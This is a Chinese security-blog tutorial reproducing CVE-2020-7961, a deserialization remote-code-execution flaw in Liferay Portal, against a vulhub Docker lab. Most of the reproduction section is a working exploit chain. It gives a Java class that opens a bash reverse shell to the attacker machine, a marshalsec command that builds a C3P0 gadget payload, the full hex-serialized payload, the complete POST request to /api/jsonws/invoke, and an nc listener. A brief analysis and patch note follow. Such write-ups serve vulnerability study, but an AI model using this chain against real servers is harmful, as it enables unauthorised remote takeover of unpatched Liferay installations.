Liferay Portal CE 反序列化命令执行漏洞(CVE-2020-7961)

2021-08-25 6,728

Liferay Portal CE 反序列化命令执行漏洞(CVE-2020-7961)

简介

Liferay是一个开源的Portal(认证)产品,提供对多个独立系统的内容集成,为企业信息、流程等的整合提供了一套完整的解决方案,和其他商业产品相比,Liferay有着很多优良的特性,而且免费,在全球都有较多用户。该洞是个反序列化导致的rce,通过未授权访问其API传递json数据进行反序列化,利用该漏洞可在目标服务器上执行任意命令。

影响版本

Liferay Portal: 6.1.x、6.2.x、7.0.x、7.1.x、7.2.x

环境搭建

靶机:10.50.0.39        攻击机:10.50.0.2

[docker]    https://github.com/vulhub/vulhub/tree/master/liferay-portal/CVE-2020-7961 

运行需要至少2G内存,如果docker出现如下自动退出情况,大概率由于内存不足。

image-20210819094449094.png

运行:

# cd /vulhub/liferay-portal/CVE-2020-1961

# docker-compose up -d

运行成功后,访问http://10.50.0.39:8080查看首页

image-20210819102508592.png

漏洞复现

准备一个恶意的Java类(类名和文件名相同):

public class exp {
   static {
       try {
       String[] cmd = {"bash", "-c", "bash -i >& /dev/tcp/10.50.0.2/8888 0>&1 "};
       java.lang.Runtime.getRuntime().
 exec(cmd).waitFor();
} catch ( Exception e ) {
 e.printStackTrace();
}
}

编译:

# javac exp.class

image-20210819095350919.png

在exp.class所在目录下运行一个HTTP文件服务:

# python3 -m http.server

image-20210819095747959.png

借助

[marshalsec]    https://github.com/mbechler/marshalsec 

生成一个java反序列化利用的jar包:

# mvn clean package -DskipTests

或者网上直接搜索编译好的该jar包下载:

[marshalsec-0.0.3-SNAPSHOT-all.jar]    https://github.com/CaijiOrz/fastjson-1.2.47-RCE 

利用该jar包生成攻击payload:

# java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.Jackson C3P0WrapperConnPool http://10.50.0.2:8000/ exp

其中该URL为启动的http文件服务,目的是下载编译好的的exp.class文件image-20210819101708243.png

把生成的payload,按照Liferay Portal的形式,即参数名:类名=值,修改为攻击用的payload

["com.mchange.v2.c3p0.WrapperConnectionPoolDataSource",{"userOverridesAsString":"HexAsciiSerializedMap:aced00057372003d636f6d2e6d6368616e67652e76322e6e616d696e672e5265666572656e6365496e6469726563746f72245265666572656e636553657269616c697a6564621985d0d12ac2130200044c000b636f6e746578744e616d657400134c6a617661782f6e616d696e672f4e616d653b4c0003656e767400154c6a6176612f7574696c2f486173687461626c653b4c00046e616d6571007e00014c00097265666572656e63657400184c6a617661782f6e616d696e672f5265666572656e63653b7870707070737200166a617661782e6e616d696e672e5265666572656e6365e8c69ea2a8e98d090200044c000561646472737400124c6a6176612f7574696c2f566563746f723b4c000c6xxxxxxx6174696f6e71007e00074c0009636c6173734e616d6571007e00077870737200106a6176612e7574696c2e566563746f72d9977d5b803baf010300034900116361706163697479496e6372656d656e7449000c656c656d656e74436f756e745b000b656c656d656e74446174617400135b4c6a6176612f6c616e672f4f626a6563743b78700000000000000000757200135b4c6a6176612e6c616e672e4f626a6563743b90ce589f1073296c02000078700000000a707070707070707070707874000365787074001b687474703a2f2f34372e3130362e3230362e3139383a383030302f740003466f6f;"}]

最后生成的payload通过POST提交:

POST /api/jsonws/invoke HTTP/1.1
Host: 10.50.0.39:8080
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4239.0 Safari/537.36
Accept: */*
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 1348

cmd=%7B%22%2Fexpandocolumn%2Fadd-column%22%3A%7B%7D%7D&p_auth=o3lt8q1F&formDate=1585270368703&tableId=1&name=2&type=3&%2BdefaultData:com.mchange.v2.c3p0.WrapperConnectionPoolDataSource={"userOverridesAsString":"HexAsciiSerializedMap:aced00057372003d636f6d2e6d6368616e67652e76322e6e616d696e672e5265666572656e6365496e6469726563746f72245265666572656e636553657269616c697a6564621985d0d12ac2130200044c000b636f6e746578744e616d657400134c6a617661782f6e616d696e672f4e616d653b4c0003656e767400154c6a6176612f7574696c2f486173687461626c653b4c00046e616d6571007e00014c00097265666572656e63657400184cxxxxx666572656e6365e8c69ea2a8e98d090200044c000561646472737400124c6a6176612f7574696c2f566563746f723b4c000c636c617373466163746f72797400124c6a6176612f6c616e672f537472696e673b4c0014636c617373466163746f72794c6f636174696f6e71007e00074c0009636c6173734e616d6571007e00077870737200106a6176612e7574696c2e566563746f72d9977d5b803baf010300034900116361706163697479496e6372656d656e7449000c656c656d656e74436f756e745b000b656c656d656e74446174617400135b4c6a6176612f6c616e672f4f626a6563743b78700000000000000000757200135b4c6a6176612e6c616e672e4f626a6563743b90ce589f1073296c02000078700000000a707070707070707070707874000365787074001b687474703a2f2f34372e3130362e3230362e3139383a383030302f740003466f6f;"}

进行攻击之前在攻击机:10.50.0.2开启nc监听(监听端口和java类中的端口保持一致):

# nc -lvvp 8888

攻击,得到反弹的shell

image-20210819091717629.png

漏洞分析

https://portal.liferay.dev/docs/7-1/tutorials/-/knowledge_base/t/invoking-json-web-services 这里是关于liferay的一些说明文档,主要是可以如何通过http://localhost:8080/api/jsonws提供的一些api

image-20210819103446553.png

可以直接通过api/jsonws 来查看调用结果或者通过其他形式来调用api,比如随便调用一个api,填上对应数据类型的字段,将通过/api/jsonws/invoke进行调用,此时参数全部都在post包的body中。

修复建议

官方已经发布补丁

https://liferay.dev/blogs/-/blogs/security-patches-for-liferay-portal-6-2-7-0-and-7-1

 

本文作者:kubo

本文为安全脉搏专栏作者发布,转载请注明:https://www.secpulse.com/archives/165071.html

Tags:
评论  (0)
快来写下你的想法吧!

kubo

文章数:1 积分: 20

安全问答社区

安全问答社区

脉搏官方公众号

脉搏公众号